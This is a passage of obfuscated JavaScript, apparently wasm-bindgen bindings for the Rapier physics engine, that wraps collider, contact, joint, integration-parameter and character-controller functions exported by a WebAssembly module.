_0x581d34), 0x0 !== _0x4cb6f6['rawcolliderset_coIntersectsRay'](this['ptr'], _0x45ee66, _0x5682e0['ptr'], _0xd5f45e['ptr'], _0x50a90f); } ['coCastRay'](_0x4483c9, _0x59fd6b, _0x269d14, _0x29e5d6, _0x20038f) { return _0x200901(_0x59fd6b, _0x581d34), _0x200901(_0x269d14, _0x581d34), _0x4cb6f6['rawcolliderset_coCastRay'](this['ptr'], _0x4483c9, _0x59fd6b['ptr'], _0x269d14['ptr'], _0x29e5d6, _0x20038f); } ['coCastRayAndGetNormal'](_0x225241, _0x13aa68, _0x251760, _0x570d13, _0x4f1698) { _0x200901(_0x13aa68, _0x581d34), _0x200901(_0x251760, _0x581d34); const _0x1aedb3 = _0x4cb6f6['rawcolliderset_coCastRayAndGetNormal'](this['ptr'], _0x225241, _0x13aa68['ptr'], _0x251760['ptr'], _0x570d13, _0x4f1698); return 0x0 === _0x1aedb3 ? void 0x0 : _0x423b25['__wrap'](_0x1aedb3); } ['coSetSensor'](_0x5e8c57, _0xac3cb3) { _0x4cb6f6['rawcolliderset_coSetSensor'](this['ptr'], _0x5e8c57, _0xac3cb3); } ['coSetRestitution'](_0x2f0c39, _0x2d6da8) { _0x4cb6f6['rawcolliderset_coSetRestitution'](this['ptr'], _0x2f0c39, _0x2d6da8); } ['coSetFriction'](_0x49fe56, _0x1539ef) { _0x4cb6f6['rawcolliderset_coSetFriction'](this['ptr'], _0x49fe56, _0x1539ef); } ['coFrictionCombineRule'](_0x5f02f1) { return _0x4cb6f6['rawcolliderset_coFrictionCombineRule'](this['ptr'], _0x5f02f1) >>> 0x0; } ['coSetFrictionCombineRule'](_0x34e43f, _0x4b135c) { _0x4cb6f6['rawcolliderset_coSetFrictionCombineRule'](this['ptr'], _0x34e43f, _0x4b135c); } ['coRestitutionCombineRule'](_0xb6443f) { return _0x4cb6f6['rawcolliderset_coRestitutionCombineRule'](this['ptr'], _0xb6443f) >>> 0x0; } ['coSetRestitutionCombineRule'](_0xf69127, _0x22e929) { _0x4cb6f6['rawcolliderset_coSetRestitutionCombineRule'](this['ptr'], _0xf69127, _0x22e929); } ['coSetCollisionGroups'](_0x161adc, _0x3c21d7) { _0x4cb6f6['rawcolliderset_coSetCollisionGroups'](this['ptr'], _0x161adc, _0x3c21d7); } ['coSetSolverGroups'](_0x29925d, _0x2e1b61) { _0x4cb6f6['rawcolliderset_coSetSolverGroups'](this['ptr'], _0x29925d, _0x2e1b61); } ['coSetActiveHooks'](_0x1a1698, _0x2d8a22) { _0x4cb6f6['rawcolliderset_coSetActiveHooks'](this['ptr'], _0x1a1698, _0x2d8a22); } ['coSetActiveEvents'](_0x474abc, _0x3daa10) { _0x4cb6f6['rawcolliderset_coSetActiveEvents'](this['ptr'], _0x474abc, _0x3daa10); } ['coSetActiveCollisionTypes'](_0x261b52, _0x49dd78) { _0x4cb6f6['rawcolliderset_coSetActiveCollisionTypes'](this['ptr'], _0x261b52, _0x49dd78); } ['coSetShape'](_0x4bcc03, _0x290714) { _0x200901(_0x290714, _0x141742), _0x4cb6f6['rawcolliderset_coSetShape'](this['ptr'], _0x4bcc03, _0x290714['ptr']); } ['coSetContactForceEventThreshold'](_0x226fc3, _0xf356f8) { _0x4cb6f6['rawcolliderset_coSetContactForceEventThreshold'](this['ptr'], _0x226fc3, _0xf356f8); } ['coSetDensity'](_0x3462c8, _0xcf3666) { _0x4cb6f6['rawcolliderset_coSetDensity'](this['ptr'], _0x3462c8, _0xcf3666); } ['coSetMass'](_0x4bab36, _0x103bb1) { _0x4cb6f6['rawcolliderset_coSetMass'](this['ptr'], _0x4bab36, _0x103bb1); } ['coSetMassProperties'](_0x396a62, _0x5954db, _0x15f4a5, _0x55e665) { _0x200901(_0x15f4a5, _0x581d34), _0x4cb6f6['rawcolliderset_coSetMassProperties'](this['ptr'], _0x396a62, _0x5954db, _0x15f4a5['ptr'], _0x55e665); } constructor() { const _0x2bd1ab = _0x4cb6f6['rawcolliderset_new'](); return _0x11a0e3['__wrap'](_0x2bd1ab); } ['len']() { return _0x4cb6f6['rawcolliderset_len'](this['ptr']) >>> 0x0; } ['contains'](_0x37bbd3) { return 0x0 !== _0x4cb6f6['rawcolliderset_contains'](this['ptr'], _0x37bbd3); } ['createCollider'](_0x1f2978, _0x53872a, _0x2922ff, _0x5e78b2, _0x291e5d, _0x359d78, _0x31ecba, _0x2eec81, _0x13fbd1, _0xb1b30a, _0x4cd182, _0x54084a, _0xd9df11, _0x131932, _0x4f769f, _0xcff649, _0x37dd2e, _0x3e63a7, _0x3d2ebd, _0x21e8a5, _0x2f7a98, _0x33bec1, _0x14112b) { try { const _0x572f26 = _0x4cb6f6['__wbindgen_add_to_stack_pointer'](-0x10); _0x200901(_0x53872a, _0x141742), _0x200901(_0x2922ff, _0x581d34), _0x200901(_0x5e78b2, _0x58e6cd), _0x200901(_0x31ecba, _0x581d34), _0x200901(_0x14112b, _0x4894b9), _0x4cb6f6['rawcolliderset_createCollider'](_0x572f26, this['ptr'], _0x1f2978, _0x53872a['ptr'], _0x2922ff['ptr'], _0x5e78b2['ptr'], _0x291e5d, _0x359d78, _0x31ecba['ptr'], _0x2eec81, _0x13fbd1, _0xb1b30a, _0x4cd182, _0x54084a, _0xd9df11, _0x131932, _0x4f769f, _0xcff649, _0x37dd2e, _0x3e63a7, _0x3d2ebd, _0x21e8a5, _0x2f7a98, _0x33bec1, _0x14112b['ptr']); var _0x30e3b1 = _0x306da3()[_0x572f26 / 0x4 + 0x0], _0x5cff4d = _0x3963d6()[_0x572f26 / 0x8 + 0x1]; return 0x0 === _0x30e3b1 ? void 0x0 : _0x5cff4d; } finally { _0x4cb6f6['__wbindgen_add_to_stack_pointer'](0x10); } } ['remove'](_0x5c5746, _0x577fc8, _0x366efa, _0x47fd55) { _0x200901(_0x577fc8, _0x1bc447), _0x200901(_0x366efa, _0x4894b9), _0x4cb6f6['rawcolliderset_remove'](this['ptr'], _0x5c5746, _0x577fc8['ptr'], _0x366efa['ptr'], _0x47fd55); } ['isHandleValid'](_0x30083d) { return 0x0 !== _0x4cb6f6['rawcolliderset_contains'](this['ptr'], _0x30083d); } ['forEachColliderHandle'](_0x4c9633) { try { _0x4cb6f6['rawcolliderset_forEachColliderHandle'](this['ptr'], _0x270afc(_0x4c9633)); } finally { _0x1a55cb[_0x1015a8++] = void 0x0; } } } class _0x3e3148 { static ['__wrap'](_0x13caad) { const _0x5949ad = Object['create'](_0x3e3148['prototype']); return _0x5949ad['ptr'] = _0x13caad, _0x5949ad; } ['__destroy_into_raw']() { const _0x31e8ee = this['ptr']; return this['ptr'] = 0x0, _0x31e8ee; } ['free']() { const _0x479050 = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawcontactforceevent_free'](_0x479050); } ['collider1']() { return _0x4cb6f6['rawcontactforceevent_collider1'](this['ptr']); } ['collider2']() { return _0x4cb6f6['rawcontactforceevent_collider2'](this['ptr']); } ['total_force']() { const _0x4f441b = _0x4cb6f6['rawcontactforceevent_total_force'](this['ptr']); return _0x581d34['__wrap'](_0x4f441b); } ['total_force_magnitude']() { return _0x4cb6f6['rawcontactforceevent_total_force_magnitude'](this['ptr']); } ['max_force_direction']() { const _0x22680e = _0x4cb6f6['rawcharactercollision_translationApplied'](this['ptr']); return _0x581d34['__wrap'](_0x22680e); } ['max_force_magnitude']() { return _0x4cb6f6['rawcontactforceevent_max_force_magnitude'](this['ptr']); } } class _0x191589 { static ['__wrap'](_0x2747b6) { const _0x338e09 = Object['create'](_0x191589['prototype']); return _0x338e09['ptr'] = _0x2747b6, _0x338e09; } ['__destroy_into_raw']() { const _0x8d4202 = this['ptr']; return this['ptr'] = 0x0, _0x8d4202; } ['free']() { const _0x5ed4d9 = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawcontactmanifold_free'](_0x5ed4d9); } ['normal']() { const _0x2b3b95 = _0x4cb6f6['rawcontactmanifold_normal'](this['ptr']); return _0x581d34['__wrap'](_0x2b3b95); } ['local_n1']() { const _0x19b460 = _0x4cb6f6['rawcontactmanifold_local_n1'](this['ptr']); return _0x581d34['__wrap'](_0x19b460); } ['local_n2']() { const _0x214584 = _0x4cb6f6['rawcontactmanifold_local_n2'](this['ptr']); return _0x581d34['__wrap'](_0x214584); } ['subshape1']() { return _0x4cb6f6['rawcontactmanifold_subshape1'](this['ptr']) >>> 0x0; } ['subshape2']() { return _0x4cb6f6['rawcontactmanifold_subshape2'](this['ptr']) >>> 0x0; } ['num_contacts']() { return _0x4cb6f6['rawcontactmanifold_num_contacts'](this['ptr']) >>> 0x0; } ['contact_local_p1'](_0x163498) { const _0x30c1b5 = _0x4cb6f6['rawcontactmanifold_contact_local_p1'](this['ptr'], _0x163498); return 0x0 === _0x30c1b5 ? void 0x0 : _0x581d34['__wrap'](_0x30c1b5); } ['contact_local_p2'](_0x567abd) { const _0x8a34a7 = _0x4cb6f6['rawcontactmanifold_contact_local_p2'](this['ptr'], _0x567abd); return 0x0 === _0x8a34a7 ? void 0x0 : _0x581d34['__wrap'](_0x8a34a7); } ['contact_dist'](_0x14a119) { return _0x4cb6f6['rawcontactmanifold_contact_dist'](this['ptr'], _0x14a119); } ['contact_fid1'](_0x26c8b0) { return _0x4cb6f6['rawcontactmanifold_contact_fid1'](this['ptr'], _0x26c8b0) >>> 0x0; } ['contact_fid2'](_0x2b352d) { return _0x4cb6f6['rawcontactmanifold_contact_fid2'](this['ptr'], _0x2b352d) >>> 0x0; } ['contact_impulse'](_0x285dd9) { return _0x4cb6f6['rawcontactmanifold_contact_impulse'](this['ptr'], _0x285dd9); } ['contact_tangent_impulse'](_0x21b3e1) { return _0x4cb6f6['rawcontactmanifold_contact_tangent_impulse'](this['ptr'], _0x21b3e1); } ['num_solver_contacts']() { return _0x4cb6f6['rawcontactmanifold_num_solver_contacts'](this['ptr']) >>> 0x0; } ['solver_contact_point'](_0x2584fb) { const _0x3539a2 = _0x4cb6f6['rawcontactmanifold_solver_contact_point'](this['ptr'], _0x2584fb); return 0x0 === _0x3539a2 ? void 0x0 : _0x581d34['__wrap'](_0x3539a2); } ['solver_contact_dist'](_0x1c7843) { return _0x4cb6f6['rawcontactmanifold_solver_contact_dist'](this['ptr'], _0x1c7843); } ['solver_contact_friction'](_0x57870d) { return _0x4cb6f6['rawcontactmanifold_solver_contact_friction'](this['ptr'], _0x57870d); } ['solver_contact_restitution'](_0x3b143d) { return _0x4cb6f6['rawcontactmanifold_solver_contact_restitution'](this['ptr'], _0x3b143d); } ['solver_contact_tangent_velocity'](_0x13eedf) { const _0x1467d7 = _0x4cb6f6['rawcontactmanifold_solver_contact_tangent_velocity'](this['ptr'], _0x13eedf); return _0x581d34['__wrap'](_0x1467d7); } } class _0x34c723 { static ['__wrap'](_0x24bb78) { const _0x3480a7 = Object['create'](_0x34c723['prototype']); return _0x3480a7['ptr'] = _0x24bb78, _0x3480a7; } ['__destroy_into_raw']() { const _0x113229 = this['ptr']; return this['ptr'] = 0x0, _0x113229; } ['free']() { const _0x3264de = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawcontactpair_free'](_0x3264de); } ['collider1']() { return _0x4cb6f6['rawcontactpair_collider1'](this['ptr']); } ['collider2']() { return _0x4cb6f6['rawcontactpair_collider2'](this['ptr']); } ['numContactManifolds']() { return _0x4cb6f6['rawcontactpair_numContactManifolds'](this['ptr']) >>> 0x0; } ['contactManifold'](_0x4a406d) { const _0x3015d1 = _0x4cb6f6['rawcontactpair_contactManifold'](this['ptr'], _0x4a406d); return 0x0 === _0x3015d1 ? void 0x0 : _0x191589['__wrap'](_0x3015d1); } } class _0x2bf648 { static ['__wrap'](_0x30a0e1) { const _0x2681fe = Object['create'](_0x2bf648['prototype']); return _0x2681fe['ptr'] = _0x30a0e1, _0x2681fe; } ['__destroy_into_raw']() { const _0x4af7fa = this['ptr']; return this['ptr'] = 0x0, _0x4af7fa; } ['free']() { const _0x481c17 = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawdebugrenderpipeline_free'](_0x481c17); } constructor() { const _0xb09639 = _0x4cb6f6['rawdebugrenderpipeline_new'](); return _0x2bf648['__wrap'](_0xb09639); } ['vertices']() { return _0x848c74(_0x4cb6f6['rawdebugrenderpipeline_vertices'](this['ptr'])); } ['colors']() { return _0x848c74(_0x4cb6f6['rawdebugrenderpipeline_colors'](this['ptr'])); } ['render'](_0x1eadd6, _0xf043a0, _0x3dbc8d, _0x1327b9, _0x41bfb0) { _0x200901(_0x1eadd6, _0x4894b9), _0x200901(_0xf043a0, _0x11a0e3), _0x200901(_0x3dbc8d, _0x7882f), _0x200901(_0x1327b9, _0x5d41d9), _0x200901(_0x41bfb0, _0x201281), _0x4cb6f6['rawdebugrenderpipeline_render'](this['ptr'], _0x1eadd6['ptr'], _0xf043a0['ptr'], _0x3dbc8d['ptr'], _0x1327b9['ptr'], _0x41bfb0['ptr']); } } class _0x4fbbbe { static ['__wrap'](_0x303fba) { const _0x344618 = Object['create'](_0x4fbbbe['prototype']); return _0x344618['ptr'] = _0x303fba, _0x344618; } ['__destroy_into_raw']() { const _0x51c695 = this['ptr']; return this['ptr'] = 0x0, _0x51c695; } ['free']() { const _0x2e5af0 = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawdeserializedworld_free'](_0x2e5af0); } ['takeGravity']() { const _0x3f3d81 = _0x4cb6f6['rawdeserializedworld_takeGravity'](this['ptr']); return 0x0 === _0x3f3d81 ? void 0x0 : _0x581d34['__wrap'](_0x3f3d81); } ['takeIntegrationParameters']() { const _0x44d50f = _0x4cb6f6['rawdeserializedworld_takeIntegrationParameters'](this['ptr']); return 0x0 === _0x44d50f ? void 0x0 : _0x280412['__wrap'](_0x44d50f); } ['takeIslandManager']() { const _0xe121e6 = _0x4cb6f6['rawdeserializedworld_takeIslandManager'](this['ptr']); return 0x0 === _0xe121e6 ? void 0x0 : _0x1bc447['__wrap'](_0xe121e6); } ['takeBroadPhase']() { const _0x5d0e8d = _0x4cb6f6['rawdeserializedworld_takeBroadPhase'](this['ptr']); return 0x0 === _0x5d0e8d ? void 0x0 : _0x10d266['__wrap'](_0x5d0e8d); } ['takeNarrowPhase']() { const _0x55bd3a = _0x4cb6f6['rawdeserializedworld_takeNarrowPhase'](this['ptr']); return 0x0 === _0x55bd3a ? void 0x0 : _0x201281['__wrap'](_0x55bd3a); } ['takeBodies']() { const _0x550d3b = _0x4cb6f6['rawdeserializedworld_takeBodies'](this['ptr']); return 0x0 === _0x550d3b ? void 0x0 : _0x4894b9['__wrap'](_0x550d3b); } ['takeColliders']() { const _0x3af9d6 = _0x4cb6f6['rawdeserializedworld_takeColliders'](this['ptr']); return 0x0 === _0x3af9d6 ? void 0x0 : _0x11a0e3['__wrap'](_0x3af9d6); } ['takeImpulseJoints']() { const _0x100ab0 = _0x4cb6f6['rawdeserializedworld_takeImpulseJoints'](this['ptr']); return 0x0 === _0x100ab0 ? void 0x0 : _0x7882f['__wrap'](_0x100ab0); } ['takeMultibodyJoints']() { const _0x567f7b = _0x4cb6f6['rawdeserializedworld_takeMultibodyJoints'](this['ptr']); return 0x0 === _0x567f7b ? void 0x0 : _0x5d41d9['__wrap'](_0x567f7b); } } class _0x3bc242 { static ['__wrap'](_0x3f69f8) { const _0x4de772 = Object['create'](_0x3bc242['prototype']); return _0x4de772['ptr'] = _0x3f69f8, _0x4de772; } ['__destroy_into_raw']() { const _0x4c05e4 = this['ptr']; return this['ptr'] = 0x0, _0x4c05e4; } ['free']() { const _0x51d7aa = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_raweventqueue_free'](_0x51d7aa); } constructor(_0x3e7366) { const _0x1a9162 = _0x4cb6f6['raweventqueue_new'](_0x3e7366); return _0x3bc242['__wrap'](_0x1a9162); } ['drainCollisionEvents'](_0x3d0f6b) { try { _0x4cb6f6['raweventqueue_drainCollisionEvents'](this['ptr'], _0x270afc(_0x3d0f6b)); } finally { _0x1a55cb[_0x1015a8++] = void 0x0; } } ['drainContactForceEvents'](_0x5790da) { try { _0x4cb6f6['raweventqueue_drainContactForceEvents'](this['ptr'], _0x270afc(_0x5790da)); } finally { _0x1a55cb[_0x1015a8++] = void 0x0; } } ['clear']() { _0x4cb6f6['raweventqueue_clear'](this['ptr']); } } class _0x517f65 { static ['__wrap'](_0x58d4e1) { const _0x57def4 = Object['create'](_0x517f65['prototype']); return _0x57def4['ptr'] = _0x58d4e1, _0x57def4; } ['__destroy_into_raw']() { const _0x50f3d1 = this['ptr']; return this['ptr'] = 0x0, _0x50f3d1; } ['free']() { const _0x302d40 = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawgenericjoint_free'](_0x302d40); } static ['prismatic'](_0x11e678, _0x175617, _0x1e6eef, _0x2e8e80, _0x4978ed, _0x1cf2e6) { _0x200901(_0x11e678, _0x581d34), _0x200901(_0x175617, _0x581d34), _0x200901(_0x1e6eef, _0x581d34); const _0x213a82 = _0x4cb6f6['rawgenericjoint_prismatic'](_0x11e678['ptr'], _0x175617['ptr'], _0x1e6eef['ptr'], _0x2e8e80, _0x4978ed, _0x1cf2e6); return 0x0 === _0x213a82 ? void 0x0 : _0x517f65['__wrap'](_0x213a82); } static ['fixed'](_0x5b9558, _0x579bd2, _0x13b503, _0x11deb9) { _0x200901(_0x5b9558, _0x581d34), _0x200901(_0x579bd2, _0x58e6cd), _0x200901(_0x13b503, _0x581d34), _0x200901(_0x11deb9, _0x58e6cd); const _0x129a08 = _0x4cb6f6['rawgenericjoint_fixed'](_0x5b9558['ptr'], _0x579bd2['ptr'], _0x13b503['ptr'], _0x11deb9['ptr']); return _0x517f65['__wrap'](_0x129a08); } static ['revolute'](_0x1559b6, _0x4990ea) { _0x200901(_0x1559b6, _0x581d34), _0x200901(_0x4990ea, _0x581d34); const _0x2e7225 = _0x4cb6f6['rawgenericjoint_revolute'](_0x1559b6['ptr'], _0x4990ea['ptr']); return 0x0 === _0x2e7225 ? void 0x0 : _0x517f65['__wrap'](_0x2e7225); } } class _0x7882f { static ['__wrap'](_0x379d35) { const _0x50d25e = Object['create'](_0x7882f['prototype']); return _0x50d25e['ptr'] = _0x379d35, _0x50d25e; } ['__destroy_into_raw']() { const _0x2ffe70 = this['ptr']; return this['ptr'] = 0x0, _0x2ffe70; } ['free']() { const _0x4a0a79 = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawimpulsejointset_free'](_0x4a0a79); } ['jointType'](_0x1bce02) { return _0x4cb6f6['rawimpulsejointset_jointType'](this['ptr'], _0x1bce02) >>> 0x0; } ['jointBodyHandle1'](_0x5b6514) { return _0x4cb6f6['rawimpulsejointset_jointBodyHandle1'](this['ptr'], _0x5b6514); } ['jointBodyHandle2'](_0x3730b1) { return _0x4cb6f6['rawimpulsejointset_jointBodyHandle2'](this['ptr'], _0x3730b1); } ['jointFrameX1'](_0x32f734) { const _0x3fce19 = _0x4cb6f6['rawimpulsejointset_jointFrameX1'](this['ptr'], _0x32f734); return _0x58e6cd['__wrap'](_0x3fce19); } ['jointFrameX2'](_0x11555e) { const _0xfe2cc7 = _0x4cb6f6['rawimpulsejointset_jointFrameX2'](this['ptr'], _0x11555e); return _0x58e6cd['__wrap'](_0xfe2cc7); } ['jointAnchor1'](_0x4db60d) { const _0xae26c2 = _0x4cb6f6['rawimpulsejointset_jointAnchor1'](this['ptr'], _0x4db60d); return _0x581d34['__wrap'](_0xae26c2); } ['jointAnchor2'](_0x51ecea) { const _0xc9309a = _0x4cb6f6['rawimpulsejointset_jointAnchor2'](this['ptr'], _0x51ecea); return _0x581d34['__wrap'](_0xc9309a); } ['jointSetAnchor1'](_0x2e02b6, _0x2cc48f) { _0x200901(_0x2cc48f, _0x581d34), _0x4cb6f6['rawimpulsejointset_jointSetAnchor1'](this['ptr'], _0x2e02b6, _0x2cc48f['ptr']); } ['jointSetAnchor2'](_0x494eff, _0xc77b4e) { _0x200901(_0xc77b4e, _0x581d34), _0x4cb6f6['rawimpulsejointset_jointSetAnchor2'](this['ptr'], _0x494eff, _0xc77b4e['ptr']); } ['jointContactsEnabled'](_0x330fb0) { return 0x0 !== _0x4cb6f6['rawimpulsejointset_jointContactsEnabled'](this['ptr'], _0x330fb0); } ['jointSetContactsEnabled'](_0xe59a52, _0x12c6a0) { _0x4cb6f6['rawimpulsejointset_jointSetContactsEnabled'](this['ptr'], _0xe59a52, _0x12c6a0); } ['jointLimitsEnabled'](_0x37e726, _0x153c02) { return 0x0 !== _0x4cb6f6['rawimpulsejointset_jointLimitsEnabled'](this['ptr'], _0x37e726, _0x153c02); } ['jointLimitsMin'](_0x2749e9, _0x4a311a) { return _0x4cb6f6['rawimpulsejointset_jointLimitsMin'](this['ptr'], _0x2749e9, _0x4a311a); } ['jointLimitsMax'](_0x10d661, _0x4b95cf) { return _0x4cb6f6['rawimpulsejointset_jointLimitsMax'](this['ptr'], _0x10d661, _0x4b95cf); } ['jointSetLimits'](_0x2399e4, _0x7727ab, _0x97675c, _0x2cb19e) { _0x4cb6f6['rawimpulsejointset_jointSetLimits'](this['ptr'], _0x2399e4, _0x7727ab, _0x97675c, _0x2cb19e); } ['jointConfigureMotorModel'](_0x56bfb1, _0xf60224, _0x5a0de3) { _0x4cb6f6['rawimpulsejointset_jointConfigureMotorModel'](this['ptr'], _0x56bfb1, _0xf60224, _0x5a0de3); } ['jointConfigureMotorVelocity'](_0xbe643a, _0x42ee7f, _0x3a6ab3, _0x43b35b) { _0x4cb6f6['rawimpulsejointset_jointConfigureMotorVelocity'](this['ptr'], _0xbe643a, _0x42ee7f, _0x3a6ab3, _0x43b35b); } ['jointConfigureMotorPosition'](_0x243418, _0x2f2099, _0x299c03, _0x172013, _0x4a7999) { _0x4cb6f6['rawimpulsejointset_jointConfigureMotorPosition'](this['ptr'], _0x243418, _0x2f2099, _0x299c03, _0x172013, _0x4a7999); } ['jointConfigureMotor'](_0xaa952d, _0x3dafcf, _0x41ad83, _0xf38410, _0x4685c8, _0x1bc928) { _0x4cb6f6['rawimpulsejointset_jointConfigureMotor'](this['ptr'], _0xaa952d, _0x3dafcf, _0x41ad83, _0xf38410, _0x4685c8, _0x1bc928); } constructor() { const _0x88bc98 = _0x4cb6f6['rawimpulsejointset_new'](); return _0x7882f['__wrap'](_0x88bc98); } ['createJoint'](_0xa89bd0, _0x5c86d0, _0x19a9f0, _0x3d6a56) { return _0x200901(_0xa89bd0, _0x517f65), _0x4cb6f6['rawimpulsejointset_createJoint'](this['ptr'], _0xa89bd0['ptr'], _0x5c86d0, _0x19a9f0, _0x3d6a56); } ['remove'](_0x37c355, _0x3b2e32) { _0x4cb6f6['rawimpulsejointset_remove'](this['ptr'], _0x37c355, _0x3b2e32); } ['len']() { return _0x4cb6f6['rawimpulsejointset_len'](this['ptr']) >>> 0x0; } ['contains'](_0x3b2718) { return 0x0 !== _0x4cb6f6['rawimpulsejointset_contains'](this['ptr'], _0x3b2718); } ['forEachJointHandle'](_0x1d4b97) { try { _0x4cb6f6['rawimpulsejointset_forEachJointHandle'](this['ptr'], _0x270afc(_0x1d4b97)); } finally { _0x1a55cb[_0x1015a8++] = void 0x0; } } ['forEachJointAttachedToRigidBody'](_0x42e5e5, _0x1656ed) { try { _0x4cb6f6['rawimpulsejointset_forEachJointAttachedToRigidBody'](this['ptr'], _0x42e5e5, _0x270afc(_0x1656ed)); } finally { _0x1a55cb[_0x1015a8++] = void 0x0; } } } class _0x280412 { static ['__wrap'](_0x1e925e) { const _0x30768d = Object['create'](_0x280412['prototype']); return _0x30768d['ptr'] = _0x1e925e, _0x30768d; } ['__destroy_into_raw']() { const _0x4800af = this['ptr']; return this['ptr'] = 0x0, _0x4800af; } ['free']() { const _0x103351 = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawintegrationparameters_free'](_0x103351); } constructor() { const _0x9555a5 = _0x4cb6f6['rawintegrationparameters_new'](); return _0x280412['__wrap'](_0x9555a5); } get ['dt']() { return _0x4cb6f6['rawintegrationparameters_dt'](this['ptr']); } get ['erp']() { return _0x4cb6f6['rawintegrationparameters_erp'](this['ptr']); } get ['allowedLinearError']() { return _0x4cb6f6['rawintegrationparameters_allowedLinearError'](this['ptr']); } get ['predictionDistance']() { return _0x4cb6f6['rawcontactforceevent_total_force_magnitude'](this['ptr']); } get ['maxVelocityIterations']() { return _0x4cb6f6['rawintegrationparameters_maxVelocityIterations'](this['ptr']) >>> 0x0; } get ['maxVelocityFrictionIterations']() { return _0x4cb6f6['rawintegrationparameters_maxVelocityFrictionIterations'](this['ptr']) >>> 0x0; } get ['maxStabilizationIterations']() { return _0x4cb6f6['rawintegrationparameters_maxStabilizationIterations'](this['ptr']) >>> 0x0; } get ['minIslandSize']() { return _0x4cb6f6['rawintegrationparameters_minIslandSize'](this['ptr']) >>> 0x0; } get ['maxCcdSubsteps']() { return _0x4cb6f6['rawintegrationparameters_maxCcdSubsteps'](this['ptr']) >>> 0x0; } set ['dt'](_0x1083a6) { _0x4cb6f6['rawintegrationparameters_set_dt'](this['ptr'], _0x1083a6); } set ['erp'](_0x499c4c) { _0x4cb6f6['rawintegrationparameters_set_erp'](this['ptr'], _0x499c4c); } set ['allowedLinearError'](_0x407fb0) { _0x4cb6f6['rawintegrationparameters_set_allowedLinearError'](this['ptr'], _0x407fb0); } set ['predictionDistance'](_0x2e4ced) { _0x4cb6f6['rawintegrationparameters_set_predictionDistance'](this['ptr'], _0x2e4ced); } set ['maxVelocityIterations'](_0x2ebaaf) { _0x4cb6f6['rawintegrationparameters_set_maxVelocityIterations'](this['ptr'], _0x2ebaaf); } set ['maxVelocityFrictionIterations'](_0x41fa14) { _0x4cb6f6['rawintegrationparameters_set_maxVelocityFrictionIterations'](this['ptr'], _0x41fa14); } set ['maxStabilizationIterations'](_0xb046e) { _0x4cb6f6['rawintegrationparameters_set_maxStabilizationIterations'](this['ptr'], _0xb046e); } set ['minIslandSize'](_0x10ed37) { _0x4cb6f6['rawintegrationparameters_set_minIslandSize'](this['ptr'], _0x10ed37); } set ['maxCcdSubsteps'](_0x338525) { _0x4cb6f6['rawintegrationparameters_set_maxCcdSubsteps'](this['ptr'], _0x338525); } } class _0x1bc447 { static ['__wrap'](_0x441030) { const _0x2a304e = Object['create'](_0x1bc447['prototype']); return _0x2a304e['ptr'] = _0x441030, _0x2a304e; } ['__destroy_into_raw']() { const _0x2e91a9 = this['ptr']; return this['ptr'] = 0x0, _0x2e91a9; } ['free']() { const _0x38ef6c = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawislandmanager_free'](_0x38ef6c); } constructor() { const _0x5798a4 = _0x4cb6f6['rawislandmanager_new'](); return _0x1bc447['__wrap'](_0x5798a4); } ['forEachActiveRigidBodyHandle'](_0x230a3d) { try { _0x4cb6f6['rawislandmanager_forEachActiveRigidBodyHandle'](this['ptr'], _0x270afc(_0x230a3d)); } finally { _0x1a55cb[_0x1015a8++] = void 0x0; } } } class _0x2b32fb { static ['__wrap'](_0x4e153d) { const _0x21adfa = Object['create'](_0x2b32fb['prototype']); return _0x21adfa['ptr'] = _0x4e153d, _0x21adfa; } ['__destroy_into_raw']() { const _0x9132a4 = this['ptr']; return this['ptr'] = 0x0, _0x9132a4; } ['free']() { const _0x5e6358 = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawkinematiccharactercontroller_free'](_0x5e6358); } constructor(_0x5a8e61) { const _0x1178dd = _0x4cb6f6['rawkinematiccharactercontroller_new'](_0x5a8e61); return _0x2b32fb['__wrap'](_0x1178dd); } ['up']() { const _0x76ec11 = _0x4cb6f6['rawkinematiccharactercontroller_up'](this['ptr']); return _0x581d34['__wrap'](_0x76ec11); } ['setUp'](_0x2c80b3) { _0x200901(_0x2c80b3, _0x581d34), _0x4cb6f6['rawkinematiccharactercontroller_setUp'](this['ptr'], _0x2c80b3['ptr']); } ['offset']() { return _0x4cb6f6['rawkinematiccharactercontroller_offset'](this['ptr']); } ['setOffset'](_0x32cf3f) { _0x4cb6f6['rawkinematiccharactercontroller_setOffset'](this['ptr'], _0x32cf3f); } ['slideEnabled']() { return 0x0 !== _0x4cb6f6['rawkinematiccharactercontroller_slideEnabled'](this['ptr']); } ['setSlideEnabled'](_0x44d259) { _0x4cb6f6['rawkinematiccharactercontroller_setSlideEnabled'](this['ptr'], _0x44d259); } ['autostepMaxHeight']() { try { const _0x4ce5d0 = _0x4cb6f6['__wbindgen_add_to_stack_pointer'](-0x10); _0x4cb6f6['rawkinematiccharactercontroller_autostepMaxHeight'](_0x4ce5d0, this['ptr']); var _0x461e3c = _0x306da3()[_0x4ce5d0 / 0x4 + 0x0], _0x2aac43 = _0x373de1()[_0x4ce5d0 / 0x4 + 0x1]; return 0x0 === _0x461e3c ? void 0x0 : _0x2aac43; } finally { _0x4cb6f6['__wbindgen_add_to_stack_pointer'](0x10); } } ['autostepMinWidth']() { try { const _0x1f13dd = _0x4cb6f6['__wbindgen_add_to_stack_pointer'](-0x10); _0x4cb6f6['rawkinematiccharactercontroller_autostepMinWidth'](_0x1f13dd, this['ptr']); var _0x5c4bac = _0x306da3()[_0x1f13dd / 0x4 + 0x0], _0x2452f9 = _0x373de1()[_0x1f13dd / 0x4 + 0x1]; return 0x0 === _0x5c4bac ? void 0x0 : _0x2452f9; } finally { _0x4cb6f6['__wbindgen_add_to_stack_pointer'](0x10); } } ['autostepIncludesDynamicBodies']() { const _0xa8a3b4 = _0x4cb6f6['rawkinematiccharactercontroller_autostepIncludesDynamicBodies'](this['ptr']); return 0xffffff === _0xa8a3b4 ? void 0x0 : 0x0 !== _0xa8a3b4; } ['autostepEnabled']() { return 0x0 !== _0x4cb6f6['rawkinematiccharactercontroller_autostepEnabled'](this['ptr']); } ['enableAutostep'](_0x2b75b4, 